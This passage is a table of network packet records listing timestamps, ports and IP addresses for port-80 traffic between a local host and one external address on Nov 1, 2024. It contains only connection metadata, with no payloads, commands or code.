Nov 1, 2024 00:38:57.834297895 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834312916 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834352016 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834352016 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834352016 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834386110 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834398031 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834431887 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834450006 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834525108 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834537029 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834552050 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834568024 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834592104 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834619045 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834621906 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834638119 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834656000 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834691048 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834717035 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834772110 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834786892 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834800959 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834815979 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834821939 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834836960 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834861994 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834867001 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834883928 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834898949 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834922075 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834945917 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.834963083 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834979057 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.834994078 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835014105 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835042953 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835048914 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835064888 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835103035 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835218906 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835235119 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835249901 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835263968 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835264921 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835282087 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835290909 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835331917 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835459948 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835475922 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835500002 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835503101 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835515022 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835527897 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835540056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835582972 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835582972 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835582972 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835654020 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835694075 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835695982 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835707903 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835724115 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835741043 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835752964 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835835934 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835865021 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835880995 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835887909 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835901022 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835908890 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835937023 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835937023 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835957050 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835961103 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.835969925 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.835977077 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.836021900 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.880101919 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.880117893 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.880203009 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.908520937 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.908536911 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.908555031 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.908571005 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.908581972 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.908608913 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.908633947 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.908832073 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.908844948 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.908859968 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.908874989 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.908881903 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.908910036 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950261116 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950278044 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950294018 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950309992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950351000 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950366974 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950467110 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950491905 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950509071 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950524092 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950532913 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950541973 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950555086 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950560093 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950594902 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950615883 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950622082 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950632095 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950648069 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950671911 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950695992 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950786114 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950802088 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950825930 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950839996 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950844049 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950864077 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950869083 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950881004 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950894117 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950908899 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950927973 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.950942039 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950968027 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.950984955 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951006889 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951035023 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951160908 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951179981 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951196909 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951220036 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951246023 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951267004 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951283932 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951299906 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951329947 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951329947 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951349020 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951349020 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951371908 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951375961 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951390982 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951392889 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951410055 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951421976 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951431036 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951438904 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951457977 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951464891 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951473951 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951481104 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951498032 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951503992 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951523066 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951529980 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951574087 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951658964 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951673985 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951690912 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951695919 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951709032 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951725006 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951746941 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951781988 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951802015 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951817989 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951843023 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951843023 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951858997 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951869011 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951877117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951891899 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951915979 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951941967 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951957941 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.951978922 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.951982021 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952003002 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952018023 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952079058 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952100039 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952116966 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952131987 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952138901 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952164888 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952265978 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952282906 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952300072 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952316046 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952323914 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952346087 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952368021 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952373028 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952392101 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952406883 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952409029 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952423096 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952429056 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952442884 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952461958 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952574015 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952589035 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952604055 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952625990 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952657938 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952697039 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952712059 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952727079 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952754021 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952778101 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952789068 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952804089 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952819109 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952843904 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952872992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952873945 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952908993 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952922106 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952936888 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.952938080 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952946901 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952970982 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.952997923 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.953016996 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:57.953037977 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:57.953073025 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.025588036 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.025612116 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.025628090 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.025669098 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.025685072 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.025733948 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.025748014 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.025763035 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.025777102 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.025789976 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.025804996 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.025840998 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068252087 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068269968 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068291903 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068308115 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068325043 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068341017 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068366051 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068366051 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068386078 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068387032 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068403006 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068419933 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068443060 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068466902 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068496943 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068511963 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068536043 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068548918 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068561077 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068566084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068586111 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068604946 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068646908 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068662882 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068706989 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068721056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068733931 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068757057 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068763018 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068772078 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068787098 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068788052 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068804979 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068813086 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068841934 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068907022 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068932056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068947077 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068953991 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.068978071 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.068979025 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069000959 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069015980 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069037914 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069133997 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069153070 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069169044 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069176912 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069185972 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069195986 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069211006 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069226980 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069322109 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069338083 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069353104 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069367886 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069371939 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069391012 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069391966 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069408894 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069413900 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069425106 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069437981 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069453955 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069466114 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069545984 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069560051 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069575071 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069593906 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069597006 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069610119 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069618940 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069627047 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069643974 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069660902 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069683075 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069781065 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069791079 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069796085 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069814920 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069822073 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069829941 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069829941 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069852114 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069863081 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.069950104 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069966078 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069981098 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069997072 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.069998980 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070008993 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070039034 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070060968 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070106983 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070116997 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070154905 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070171118 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070172071 CET	80	49948	185.215.113.16	192.168.2.6
